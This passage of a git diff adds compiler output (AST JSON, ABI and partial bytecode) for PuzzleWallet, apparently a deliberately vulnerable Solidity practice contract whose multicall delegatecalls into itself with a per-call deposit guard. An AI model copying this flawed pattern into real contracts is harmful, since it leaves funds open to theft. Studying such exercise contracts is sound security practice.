pure"}},"id":54502,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2072:62:101","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":54503,"nodeType":"ExpressionStatement","src":"2072:62:101"},{"expression":{"id":54509,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":54504,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54381,"src":"2144:8:101","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":54507,"indexExpression":{"expression":{"id":54505,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"2153:3:101","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":54506,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2157:6:101","memberName":"sender","nodeType":"MemberAccess","src":"2153:10:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"2144:20:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"-=","rightHandSide":{"id":54508,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54487,"src":"2168:5:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2144:29:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":54510,"nodeType":"ExpressionStatement","src":"2144:29:101"},{"assignments":[54512,null],"declarations":[{"constant":false,"id":54512,"mutability":"mutable","name":"success","nameLocation":"2189:7:101","nodeType":"VariableDeclaration","scope":54525,"src":"2184:12:101","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":54511,"name":"bool","nodeType":"ElementaryTypeName","src":"2184:4:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},null],"id":54519,"initialValue":{"arguments":[{"id":54517,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54489,"src":"2223:4:101","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}],"expression":{"id":54513,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54485,"src":"2201:2:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":54514,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2204:4:101","memberName":"call","nodeType":"MemberAccess","src":"2201:7:101","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":54516,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"names":["value"],"nodeType":"FunctionCallOptions","options":[{"id":54515,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54487,"src":"2216:5:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"src":"2201:21:101","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$value","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":54518,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2201:27:101","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"2183:45:101"},{"expression":{"arguments":[{"id":54521,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54512,"src":"2246:7:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"457865637574696f6e206661696c6564","id":54522,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2255:18:101","typeDescriptions":{"typeIdentifier":"t_stringliteral_36fdcc45171afde7667666c94fc33ecdb7822c92e5282dda8124205e12e0ac03","typeString":"literal_string \"Execution failed\""},"value":"Execution failed"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_36fdcc45171afde7667666c94fc33ecdb7822c92e5282dda8124205e12e0ac03","typeString":"literal_string \"Execution failed\""}],"id":54520,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"2238:7:101","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":54523,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2238:36:101","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":54524,"nodeType":"ExpressionStatement","src":"2238:36:101"}]},"functionSelector":"b61d27f6","implemented":true,"kind":"function","modifiers":[{"id":54492,"kind":"modifierInvocation","modifierName":{"id":54491,"name":"onlyWhitelisted","nameLocations":["2046:15:101"],"nodeType":"IdentifierPath","referencedDeclaration":54415,"src":"2046:15:101"},"nodeType":"ModifierInvocation","src":"2046:15:101"}],"name":"execute","nameLocation":"1973:7:101","parameters":{"id":54490,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54485,"mutability":"mutable","name":"to","nameLocation":"1989:2:101","nodeType":"VariableDeclaration","scope":54526,"src":"1981:10:101","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54484,"name":"address","nodeType":"ElementaryTypeName","src":"1981:7:101","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":54487,"mutability":"mutable","name":"value","nameLocation":"2001:5:101","nodeType":"VariableDeclaration","scope":54526,"src":"1993:13:101","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":54486,"name":"uint256","nodeType":"ElementaryTypeName","src":"1993:7:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":54489,"mutability":"mutable","name":"data","nameLocation":"2023:4:101","nodeType":"VariableDeclaration","scope":54526,"src":"2008:19:101","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":54488,"name":"bytes","nodeType":"ElementaryTypeName","src":"2008:5:101","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"1980:48:101"},"returnParameters":{"id":54493,"nodeType":"ParameterList","parameters":[],"src":"2062:0:101"},"scope":54597,"stateMutability":"payable","virtual":false,"visibility":"external"},{"id":54596,"nodeType":"FunctionDefinition","src":"2287:700:101","nodes":[],"body":{"id":54595,"nodeType":"Block","src":"2362:625:101","nodes":[],"statements":[{"assignments":[54535],"declarations":[{"constant":false,"id":54535,"mutability":"mutable","name":"depositCalled","nameLocation":"2377:13:101","nodeType":"VariableDeclaration","scope":54595,"src":"2372:18:101","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":54534,"name":"bool","nodeType":"ElementaryTypeName","src":"2372:4:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"id":54537,"initialValue":{"hexValue":"66616c7365","id":54536,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"2393:5:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"nodeType":"VariableDeclarationStatement","src":"2372:26:101"},{"body":{"id":54593,"nodeType":"Block","src":"2450:531:101","statements":[{"assignments":[54550],"declarations":[{"constant":false,"id":54550,"mutability":"mutable","name":"_data","nameLocation":"2477:5:101","nodeType":"VariableDeclaration","scope":54593,"src":"2464:18:101","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":54549,"name":"bytes","nodeType":"ElementaryTypeName","src":"2464:5:101","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":54554,"initialValue":{"baseExpression":{"id":54551,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54529,"src":"2485:4:101","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_calldata_ptr_$dyn_calldata_ptr","typeString":"bytes calldata[] calldata"}},"id":54553,"indexExpression":{"id":54552,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54539,"src":"2490:1:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"2485:7:101","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}},"nodeType":"VariableDeclarationStatement","src":"2464:28:101"},{"assignments":[54556],"declarations":[{"constant":false,"id":54556,"mutability":"mutable","name":"selector","nameLocation":"2513:8:101","nodeType":"VariableDeclaration","scope":54593,"src":"2506:15:101","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"typeName":{"id":54555,"name":"bytes4","nodeType":"ElementaryTypeName","src":"2506:6:101","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"visibility":"internal"}],"id":54557,"nodeType":"VariableDeclarationStatement","src":"2506:15:101"},{"AST":{"nativeSrc":"2544:65:101","nodeType":"YulBlock","src":"2544:65:101","statements":[{"nativeSrc":"2562:33:101","nodeType":"YulAssignment","src":"2562:33:101","value":{"arguments":[{"arguments":[{"name":"_data","nativeSrc":"2584:5:101","nodeType":"YulIdentifier","src":"2584:5:101"},{"kind":"number","nativeSrc":"2591:2:101","nodeType":"YulLiteral","src":"2591:2:101","type":"","value":"32"}],"functionName":{"name":"add","nativeSrc":"2580:3:101","nodeType":"YulIdentifier","src":"2580:3:101"},"nativeSrc":"2580:14:101","nodeType":"YulFunctionCall","src":"2580:14:101"}],"functionName":{"name":"mload","nativeSrc":"2574:5:101","nodeType":"YulIdentifier","src":"2574:5:101"},"nativeSrc":"2574:21:101","nodeType":"YulFunctionCall","src":"2574:21:101"},"variableNames":[{"name":"selector","nativeSrc":"2562:8:101","nodeType":"YulIdentifier","src":"2562:8:101"}]}]},"evmVersion":"shanghai","externalReferences":[{"declaration":54550,"isOffset":false,"isSlot":false,"src":"2584:5:101","valueSize":1},{"declaration":54556,"isOffset":false,"isSlot":false,"src":"2562:8:101","valueSize":1}],"id":54558,"nodeType":"InlineAssembly","src":"2535:74:101"},{"condition":{"commonType":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"id":54563,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":54559,"name":"selector","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54556,"src":"2626:8:101","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"expression":{"id":54560,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"2638:4:101","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract PuzzleWallet"}},"id":54561,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2643:7:101","memberName":"deposit","nodeType":"MemberAccess","referencedDeclaration":54483,"src":"2638:12:101","typeDescriptions":{"typeIdentifier":"t_function_external_payable$__$returns$__$","typeString":"function () payable external"}},"id":54562,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"2651:8:101","memberName":"selector","nodeType":"MemberAccess","src":"2638:21:101","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"src":"2626:33:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":54575,"nodeType":"IfStatement","src":"2622:221:101","trueBody":{"id":54574,"nodeType":"Block","src":"2661:182:101","statements":[{"expression":{"arguments":[{"id":54566,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"2687:14:101","subExpression":{"id":54565,"name":"depositCalled","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54535,"src":"2688:13:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4465706f7369742063616e206f6e6c792062652063616c6c6564206f6e6365","id":54567,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2703:33:101","typeDescriptions":{"typeIdentifier":"t_stringliteral_e95d4c18a599528ae94f6c18d85500ab2e0587646cc2683d99d40dc0d6200705","typeString":"literal_string \"Deposit can only be called once\""},"value":"Deposit can only be called once"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_e95d4c18a599528ae94f6c18d85500ab2e0587646cc2683d99d40dc0d6200705","typeString":"literal_string \"Deposit can only be called once\""}],"id":54564,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"2679:7:101","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":54568,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2679:58:101","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":54569,"nodeType":"ExpressionStatement","src":"2679:58:101"},{"expression":{"id":54572,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":54570,"name":"depositCalled","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54535,"src":"2808:13:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"74727565","id":54571,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"2824:4:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"2808:20:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":54573,"nodeType":"ExpressionStatement","src":"2808:20:101"}]}},{"assignments":[54577,null],"declarations":[{"constant":false,"id":54577,"mutability":"mutable","name":"success","nameLocation":"2862:7:101","nodeType":"VariableDeclaration","scope":54593,"src":"2857:12:101","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":54576,"name":"bool","nodeType":"ElementaryTypeName","src":"2857:4:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},null],"id":54587,"initialValue":{"arguments":[{"baseExpression":{"id":54583,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54529,"src":"2901:4:101","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_calldata_ptr_$dyn_calldata_ptr","typeString":"bytes calldata[] calldata"}},"id":54585,"indexExpression":{"id":54584,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54539,"src":"2906:1:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"2901:7:101","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}],"expression":{"arguments":[{"id":54580,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"2882:4:101","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract PuzzleWallet"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract PuzzleWallet"}],"id":54579,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2874:7:101","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":54578,"name":"address","nodeType":"ElementaryTypeName","src":"2874:7:101","typeDescriptions":{}}},"id":54581,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2874:13:101","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":54582,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2888:12:101","memberName":"delegatecall","nodeType":"MemberAccess","src":"2874:26:101","typeDescriptions":{"typeIdentifier":"t_function_baredelegatecall_nonpayable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) returns (bool,bytes memory)"}},"id":54586,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2874:35:101","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"2856:53:101"},{"expression":{"arguments":[{"id":54589,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54577,"src":"2931:7:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4572726f72207768696c652064656c65676174696e672063616c6c","id":54590,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2940:29:101","typeDescriptions":{"typeIdentifier":"t_stringliteral_debd77ba0a23243a00179ebf311e9d89d9d52e3496db48f79f5defbd7e8b042d","typeString":"literal_string \"Error while delegating call\""},"value":"Error while delegating call"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_debd77ba0a23243a00179ebf311e9d89d9d52e3496db48f79f5defbd7e8b042d","typeString":"literal_string \"Error while delegating call\""}],"id":54588,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"2923:7:101","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":54591,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2923:47:101","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":54592,"nodeType":"ExpressionStatement","src":"2923:47:101"}]},"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":54545,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":54542,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54539,"src":"2428:1:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"expression":{"id":54543,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54529,"src":"2432:4:101","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_calldata_ptr_$dyn_calldata_ptr","typeString":"bytes calldata[] calldata"}},"id":54544,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2437:6:101","memberName":"length","nodeType":"MemberAccess","src":"2432:11:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2428:15:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":54594,"initializationExpression":{"assignments":[54539],"declarations":[{"constant":false,"id":54539,"mutability":"mutable","name":"i","nameLocation":"2421:1:101","nodeType":"VariableDeclaration","scope":54594,"src":"2413:9:101","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":54538,"name":"uint256","nodeType":"ElementaryTypeName","src":"2413:7:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":54541,"initialValue":{"hexValue":"30","id":54540,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2425:1:101","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"nodeType":"VariableDeclarationStatement","src":"2413:13:101"},"isSimpleCounterLoop":true,"loopExpression":{"expression":{"id":54547,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"2445:3:101","subExpression":{"id":54546,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54539,"src":"2445:1:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":54548,"nodeType":"ExpressionStatement","src":"2445:3:101"},"nodeType":"ForStatement","src":"2408:573:101"}]},"functionSelector":"ac9650d8","implemented":true,"kind":"function","modifiers":[{"id":54532,"kind":"modifierInvocation","modifierName":{"id":54531,"name":"onlyWhitelisted","nameLocations":["2346:15:101"],"nodeType":"IdentifierPath","referencedDeclaration":54415,"src":"2346:15:101"},"nodeType":"ModifierInvocation","src":"2346:15:101"}],"name":"multicall","nameLocation":"2296:9:101","parameters":{"id":54530,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54529,"mutability":"mutable","name":"data","nameLocation":"2323:4:101","nodeType":"VariableDeclaration","scope":54596,"src":"2306:21:101","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_calldata_ptr_$dyn_calldata_ptr","typeString":"bytes[]"},"typeName":{"baseType":{"id":54527,"name":"bytes","nodeType":"ElementaryTypeName","src":"2306:5:101","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":54528,"nodeType":"ArrayTypeName","src":"2306:7:101","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}},"visibility":"internal"}],"src":"2305:23:101"},"returnParameters":{"id":54533,"nodeType":"ParameterList","parameters":[],"src":"2362:0:101"},"scope":54597,"stateMutability":"payable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"PuzzleWallet","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[54597],"name":"PuzzleWallet","nameLocation":"979:12:101","scope":54598,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":101} \ No newline at end of file diff --git a/contracts/out/PuzzleWallet.sol/PuzzleWallet.json b/contracts/out/PuzzleWallet.sol/PuzzleWallet.json new file mode 100644 index 000000000..0f43e5525 --- /dev/null +++ b/contracts/out/PuzzleWallet.sol/PuzzleWallet.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"addToWhitelist","inputs":[{"name":"addr","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"balances","inputs":[{"name":"","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"deposit","inputs":[],"outputs":[],"stateMutability":"payable"},{"type":"function","name":"execute","inputs":[{"name":"to","type":"address","internalType":"address"},{"name":"value","type":"uint256","internalType":"uint256"},{"name":"data","type":"bytes","internalType":"bytes"}],"outputs":[],"stateMutability":"payable"},{"type":"function","name":"init","inputs":[{"name":"_maxBalance","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"maxBalance","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"multicall","inputs":[{"name":"data","type":"bytes[]","internalType":"bytes[]"}],"outputs":[],"stateMutability":"payable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"setMaxBalance","inputs":[{"name":"_maxBalance","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"whitelisted","inputs":[{"name":"","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b50610a428061001d5f395ff3fe6080604052600436106100ad575f3560e01c8063b61d27f611610066578063d0e30db01161004c578063d0e30db0146101a0578063d936547e146101a8578063e43252d7146101e6575f80fd5b8063b61d27f61461016e578063b7b0422d14610181575f80fd5b80638da5cb5b116100965780638da5cb5b146101045780639d51d9b71461013a578063ac9650d81461015b575f80fd5b806327e235e3146100b157806373ad468a146100ef575b5f80fd5b3480156100bc575f80fd5b506100dc6100cb366004610839565b60036020525f908152604090205481565b6040519081526020015b60405180910390f35b3480156100fa575f80fd5b506100dc60015481565b34801561010f575f80fd5b505f54610122906001600160a01b031681565b6040516001600160a01b0390911681526020016100e6565b348015610145575f80fd5b50610159610154366004610859565b610205565b005b610159610169366004610870565b6102ad565b61015961017c3660046108df565b6104d7565b34801561018c575f80fd5b5061015961019b366004610859565b61065d565b6101596106db565b3480156101b3575f80fd5b506101d66101c2366004610839565b60026020525f908152604090205460ff1681565b60405190151581526020016100e6565b3480156101f1575f80fd5b50610159610200366004610839565b6107a2565b335f9081526002602052604090205460ff1661025a5760405162461bcd60e51b815260206004820152600f60248201526e139bdd081dda1a5d195b1a5cdd1959608a1b60448201526064015b60405180910390fd5b47156102a85760405162461bcd60e51b815260206004820152601960248201527f436f6e74726163742062616c616e6365206973206e6f742030000000000000006044820152606401610251565b600155565b335f9081526002602052604090205460ff166102fd5760405162461bcd60e51b815260206004820152600f60248201526e139bdd081dda1a5d195b1a5cdd1959608a1b6044820152606401610251565b5f805b828110156104d1575f84848381811061031b5761031b61095f565b905060200281019061032d9190610973565b8080601f0160208091040260200160405190810160405280939291908181526020018383808284375f9201919091525050506020820151919250507f2f1cf250000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008216016104045783156103ff5760405162461bcd60e51b815260206004820152601f60248201527f4465706f7369742063616e206f6e6c792062652063616c6c6564206f6e6365006044820152606401610251565b600193505b5f308787868181106104185761041861095f565b905060200281019061042a9190610973565b6040516104389291906109bd565b5f60405180830381855af49150503d805f8114610470576040519150601f19603f3d011682016040523d82523d5f602084013e610475565b606091505b50509050806104c65760405162461bcd60e51b815260206004820152601b60248201527f4572726f72207768696c652064656c65676174696e672063616c6c00000000006044820152606401610251565b505050600101610300565b50505050565b335f9081526002602052604090205460ff166105275760405162461bcd60e51b815260206004820152600f60248201526e139bdd081dda1a5d195b1a5cdd1959608a1b6044820152606401610251565b335f908152600360205260409020548311156105855760405162461bcd60e51b815260206004820152601460248201527f496e73756666696369656e742062616c616e63650000000000000000000000006044820152606401610251565b335f90815260036020526040812080548592906105a39084906109e0565b925050819055505f846001600160a01b03168484846040516105c69291906109bd565b5f6040518083038185875af1925050503d805f8114610600576040519150601f19603f3d011682016040523d82523d5f602084013e610605565b606091505b50509050806106565760405162461bcd60e51b815260206004820152601060248201527f457865637574696f6e206661696c6564000000000000000000000000000000006044820152606401610251565b5050505050565b600154156106ad5760405162461bcd60e51b815260206004820152601360248201527f416c726561647920696e697469616c697a6564000000000000000000000000006044820152606401610251565b6001555f80547fffffffffffffffffffffffff00000000000000000000000000000000000000001633179055565b335f9081526002602052604090205460ff1661072b5760405162461bcd60e51b815260206004820152600f60248201526e139bdd081dda1a5d195b1a5cdd1959608a1b6044820152606401610251565b60015447111561077d5760405162461bcd60e51b815260206004820152601360248201527f4d61782062616c616e63652072656163686564000000000000000000000000006044820152606401610251565b335f908152600360205260408120805434929061079b9084906109f9565b9091555050565b5f546001600160a01b031633146107fb5760405162461bcd60e51b815260206004820152600d60248201527f4e6f7420746865206f776e6572000000000000000000000000000000000000006044820152606401610251565b6001600160a01b03165f908152600260205260409020805460ff19166001179055565b80356001600160a01b0381168114610834575f80fd5b919050565b5f60208284031215610849575f80fd5b6108528261081e565b9392505050565b5f60208284031215610869575f80fd5b5035919050565b5f8060208385031215610881575f80fd5b823567ffffffffffffffff80821115610898575f80fd5b818501915085601f8301126108ab575f80fd5b8135818111156108b9575f80fd5b8660208260051b85010111156108cd575f80fd5b60209290920196919550909350505050565b5f805f80606085870312